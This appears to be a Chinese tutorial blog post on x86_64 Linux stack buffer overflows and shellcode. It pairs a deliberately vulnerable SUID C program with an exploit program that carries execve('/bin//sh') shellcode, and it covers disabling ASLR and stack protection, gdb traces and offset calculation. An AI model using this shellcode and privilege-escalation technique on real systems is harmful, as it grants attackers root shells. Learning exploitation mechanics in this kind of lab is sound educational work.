linux x86_64 缓冲区溢出分析 以及 shellcode简介


/* buger.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void) 
{
	char buffer[128] = {0};
	char *envp = NULL;

	printf("buffer address is: %p\n", &buffer);

	envp = getenv("KIRIKA");
	if (envp)
		strcpy(buffer, envp);

	return 0;	
}
代表有漏洞的可执行程序,并且该文件编译后的可执行文件设置有suid位,可以被利用提权


/* hacker.c */
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

extern char **environ;

int main(int argc, char **argv)
{
	char large_string[256] = {0};
	long *long_ptr = (long *)large_string;
	char shellcode[] = {"\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05"};
	unsigned long int bufaddr = strtoul(argv[2], NULL, 16);
	int i;

	for (i = 0; i < 6; i++) {
		large_string[152 + i] = bufaddr & 0xff;
		bufaddr >>= 8;
	}

	for (i = 0; i < 152; i++)
		large_string[i] = 'A';
	for (i = 0; i < strlen(shellcode); i++)
		large_string[i] = shellcode[i];

	setenv("KIRIKA", large_string, 1);
	execle(argv[1], argv[1], NULL, environ);

	return 0;
}
代表恶意可执行程序,利用buger程序实现提权


运行:

1: echo 0 > /proc/sys/kernel/randomize_va_space
2: gcc -z execstack -fno-stack-protector buger.c -o buger -g
3: chmod +s buger
4: gcc -z execstack -fno-stack-protector hacker.c -o hacker -g
5:	./hacker ./buger 0xff
	buffer address is: 0x7fffffffddb0
	Segmentation fault (core dumped)

6:	./hacker ./buger 0x7fffffffddb0
	buffer address is: 0x7fffffffddb0
	# exit


提权流程是这样的:
1: 设置环境变量KIRIKA的值, 注意一点是这是一个字符串, 如果shellcode里面有自负0x00就会出问题,因为字符串是以0x00结尾的
    "\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05"    //34B
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"            //118B
    "\x78\x56\x34\x12\xff\x7f"    //6B (假设argv[2]为0x7f ff 12 34 56 78)
2: execle 执行argv[1],既执行buger程序
3: buger获取环境变量KIRIKA的值, strcpy拷贝到缓冲区buffer中,因为没有校验长度,导致缓冲区溢出,溢出把压在栈中的下一条指令的地址覆盖掉,
   main函数return时执行buffer的内容,既执行shellcode,实现提权


第一步的意义是: 防止exec每次执行时,缓冲区的地址都在变动

echo 2 > /proc/sys/kernel/randomize_va_space 
root@shadow:~/Desktop/misc/shellcode# ./buger
buffer address is: 0x7ffe842b2b80
root@shadow:~/Desktop/misc/shellcode# ./buger
buffer address is: 0x7ffc1144cc80

echo 0 > /proc/sys/kernel/randomize_va_space 
root@shadow:~/Desktop/misc/shellcode# ./buger
buffer address is: 0x7fffffffde40
root@shadow:~/Desktop/misc/shellcode# ./buger
buffer address is: 0x7fffffffde40


第二步的意义是: 防止编译器缓冲区溢出检测
如果编译时不加-z execstack -fno-stack-protector, 结果就会是:
*** stack smashing detected ***: ./exec terminated
Aborted (core dumped)


0x00: 函数调用过程
    函数的调用和返回过程,rsp, rbp, rip几个寄存器是怎么处理的
    解释了为什么可以通过栈溢出执行shellcode
0x01: shellcode是什么
    解释了shellcode是什么,shellcode是怎么产生的,以及上述例子中为什么是34字节
0x02: 栈溢出覆盖rip
    解释了需要溢出多少字节是怎么计算的,上述例子中为什么是118字节
0x03: 设置shellcode地址
    解释了这个地址为什么要倒着写, 为什么是6字节

注意:gdb调试过程和运行过程buffer地址是不一定相同的



0x00: 函数调用过程
    rax(accumulator):        可用于存放函数返回值
    rbp(base pointer):        用于存放执行中的函数对应的栈底地址
    rsp(stack poinger):        用于存放执行中的函数对应的栈顶地址
    rip(instruction pointer):    指向当前执行指令的下一条指令

	/* rbp.c */
	#include <stdio.h>

	int fun(void)
	{
		return 5;
	}

	int main(int argc, char *argv[])
	{
		return fun();
	}
	
	/* rbp.c 所对应的汇编代码 */
	   │0x4004ed <fun>                  push   %rbp              ;把main函数的rbp压栈,目的是fun函数退出时恢复main的执行环境
	  >│0x4004ee <fun+1>                mov    %rsp,%rbp         ;把rsp赋值给rbp,完成fun函数的栈空间
	   │0x4004f1 <fun+4>                mov    $0x5,%eax         ;把返回值赋值给eax
	   │0x4004f6 <fun+9>                pop    %rbp              ;取回main函数的rbp值
	   │0x4004f7 <fun+10>               retq                     ;fun函数执行完,返回main执行
	   │0x4004f8 <main>                 push   %rbp              ;把调用main的代码的rbp压栈
	   │0x4004f9 <main+1>               mov    %rsp,%rbp         ;把rsp赋值给rbp,完成main函数的栈空间
	   │0x4004fc <main+4>               sub    $0x10,%rsp        ;分配局部变量16个字节(理论上只要分配8个字节)
	   │0x400500 <main+8>               mov    %edi,-0x4(%rbp)   ;
	   │0x400503 <main+11>              mov    %rsi,-0x10(%rbp)  ;
	B+ │0x400507 <main+15>              callq  0x4004ed <fun>    ;把下一条指令地址压栈,rip指向被调用函数的代码
	   │0x40050c <main+20>              leaveq		     ;恢复调用者的栈环境,这个过程会把main开始时push的值pop出
	   │0x40050d <main+21>              retq		     ;将栈顶的返回地址弹出到EIP,然后按照EIP此时指示的指令地址继续执行程序

	gcc rbp.c -o rbp -g
	gdb -tui rbp
	(gdb) layout asm
	(gdb) b main
	(gdb) run
	(gdb) stepi
	(gdb) nexti
	(gdb) x/6xg $rsp
	0x7fffffffdeb0: 0x00007fffffffded0      0x000000000040050c
	0x7fffffffdec0: 0x00007fffffffdfb8      0x0000000100000000
	0x7fffffffded0: 0x0000000000000000      0x00007ffff7a36ec5
	(gdb) i r esp
	esp            0xffffdeb0       -8528
	(gdb) i r ebp
	ebp            0xffffdeb0       -8528
    整个流程如下:
    在执行main之前把下一条指令地址压栈,rsp -= 8
    0x4004f8 --> main函数把rbp压栈,rsp -= 8
    0x4004f9 --> 重置rbp的值为rsp,构建本地栈空间
    0x4004fc --> sub指令为本地局部变量分配空间16字节,rsp -= 16
    0x400507 --> 调用callq,把0x4004ed赋值给rip,并把下一条指令地址0x40050c压栈 rsp -= 8
    0x4004ed --> fun把rbp压栈, rsp -= 8
    0x4004ee --> 重置rbp的值为rsp,构建fun栈空间
    0x4004f1 --> 把返回值5赋值给eax寄存器
    0x4004f6 --> 出栈把值放在rbp中,恢复main函数栈环境 rsp += 8
    0x4004f7 --> 退出fun函数,pop rip,返回到main函数 0x40050c 处执行 rsp -= 8
    0x40050c --> leaveq指令会恢复main函数执行之前的栈环境
    0x40050d --> 退出main函数,pop rip,执行下一条指令 rsp -= 8(应用栈溢出就是在pop rip之前把下一条指令的地址覆盖掉)



0x01: shellcode是什么

	;shellcode.asm

	BITS 64
	; run execve("/bin//sh", NULL, NULL) Linux x86_64 Shellcode
	; Shellcode size 34 bytes

	global _start

	section .text

	_start:
		xor    rax,rax			;clear rax
		add    rax,0x3b			;syscall_64.tbl ==> 59 64 execve stub_execve
		xor    rdi,rdi			;clear rdi
		push   rdi			;push stack (rsp -= 8)
		mov    rdi,0x68732f2f6e69622f	;hs//nib/ ==> /bin//sh
		push   rdi			;push stack (rsp -= 8)
		lea    rdi,[rsp]		;rdi = rsp (%rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数)
		xor    rsi,rsi			;clear rsi
		xor    rdx,rdx			;clear rdx
		syscall
    shellcode是一段机器码,以完成特定的任务,比如我们现在有个任务是要弹出shell,在c语言里只要execve("/bin//sh", NULL, NULL)就可以了
    那么用汇编就是写成shellcode.asm

	nasm -f elf64 shellcode.asm -g -F stabs -o shellcode.o

	for i in $(objdump -d shellcode.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
	\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05
\x48\x31....\x0f\x05 这个就是我们的shellcode, 总共34个字节

	objdump -d shellcode.o

	shellcode.o:     file format elf64-x86-64


	Disassembly of section .text:

	0000000000000000 <_start>:
	   0:	48 31 c0             	xor    %rax,%rax
	   3:	48 83 c0 3b          	add    $0x3b,%rax
	   7:	48 31 ff             	xor    %rdi,%rdi
	   a:	57                   	push   %rdi
	   b:	48 bf 2f 62 69 6e 2f 	movabs $0x68732f2f6e69622f,%rdi
	  12:	2f 73 68 
	  15:	57                   	push   %rdi
	  16:	48 8d 3c 24          	lea    (%rsp),%rdi
	  1a:	48 31 f6             	xor    %rsi,%rsi
	  1d:	48 31 d2             	xor    %rdx,%rdx
	  20:	0f 05                	syscall
通过ld链接,变成可执行文件

	ld -o shellcode shellcode.o -g
	./shellcode



0x02: 栈溢出覆盖rip

	gdb -tui buger
	(gdb) b main
	Breakpoint 1 at 0x4005d8: file buger.c, line 7.
	(gdb) run
	Starting program: /root/Desktop/buger 

	Breakpoint 1, main () at buger.c:7
	(gdb) p &buffer
	$1 = (char (*)[128]) 0x7fffffffde40
	(gdb) i r rsp
	rsp            0x7fffffffde40   0x7fffffffde40
	(gdb) 

	gdb -tui buger	//调试时查看汇编代码不花屏
	gdb> layout asm	//查看汇编代码
	   ┌──────────────────────────────────────────────────────────────────┐
	   │0x4005cd <main>                 push   %rbp                       |
	   │0x4005ce <main+1>               mov    %rsp,%rbp                  |
	   │0x4005d1 <main+4>               sub    $0x90,%rsp                 |
	B+>│0x4005d8 <main+11>              lea    -0x90(%rbp),%rsi           |
    在调用main函数之前,会把下一条指令的地址压栈
    main函数之前的栈顶地址为rsp, 在main函数中push   %rbp,则rsp -= 8,
    接下来sub    $0x90,%rsp, 则rsp -= 0x90(144), 这时候main函数总共用了152字节的栈空间
    根据上面gdb调试可以知道,此时rsp的地址为0x7fffffffde40, 和buffer的首地址一致
    我们往buffer里写入34字节的shellcode,要溢出修改main函数退出时下一条指令的地址,就必须把152字节的空间填满
    这时候还需要152 - 34 = 118字节的字符,我们用字符'A'来填充,当然这里可以是任意的其他字符,但是不可以是'\0'
    原因是我们是通过环境变量来实现的,环境变量是字符串,如果遇到0就结束了,所以如果shellcode里有某一字节为0,这种方法也就无效了



0x03: 设置shellcode地址
    main函数执行完,就会跳到这个地址执行shellcode
    The first major difference is the size of memory address. No surprise
    here :) So memory addresses are 64 bits long, but user space only uses
    the first 47 bits; keep this in mind because if you specified an
    address greater than 0x00007fffffffffff
    所以我们要把buffer的首地址按逆字节序写入栈中 这里是:\x40\xde\xff\xff\xff\x7f

    通过gdb调试到main的retq指令,既leaveq指令执行完就停下来

	(gdb) b main
	(gdb) run
	(gdb) n
	(gdb) nexti
	(gdb) i r rsp
	rsp            0x7fffffffde98   0x7fffffffde98
	(gdb) x/2xg 0x7fffffffde98
	0x7fffffffde98: 0x00007fffffffddd0      0x0000000000000000
	(gdb) x/80dbx 0x7fffffffde98
	0x7fffffffde98: 0xd0    0xdd    0xff    0xff    0xff    0x7f    0x00    0x00
    因为cpu使用小端模式,所以高位在高地址,所以地址要逆序写入,如果地址正序写入
    那么栈数据就变成
    0x7fffffffde98: 0x7f    0xff    0xff    0xff    0xdd    0xd0    0x00    0x00
    那么机器获取的下一条指令的地址就变成了 0xd0ddffffff7f 根据上面可知这个地址是无效的
    main函数执行完retq指令,会pop rip,这样就跳到buffer的shellcode出执行了


最后附一张我所理解的程序调用流程图







你可能感兴趣的:(linux x86_64 缓冲区溢出分析 以及 shellcode简介)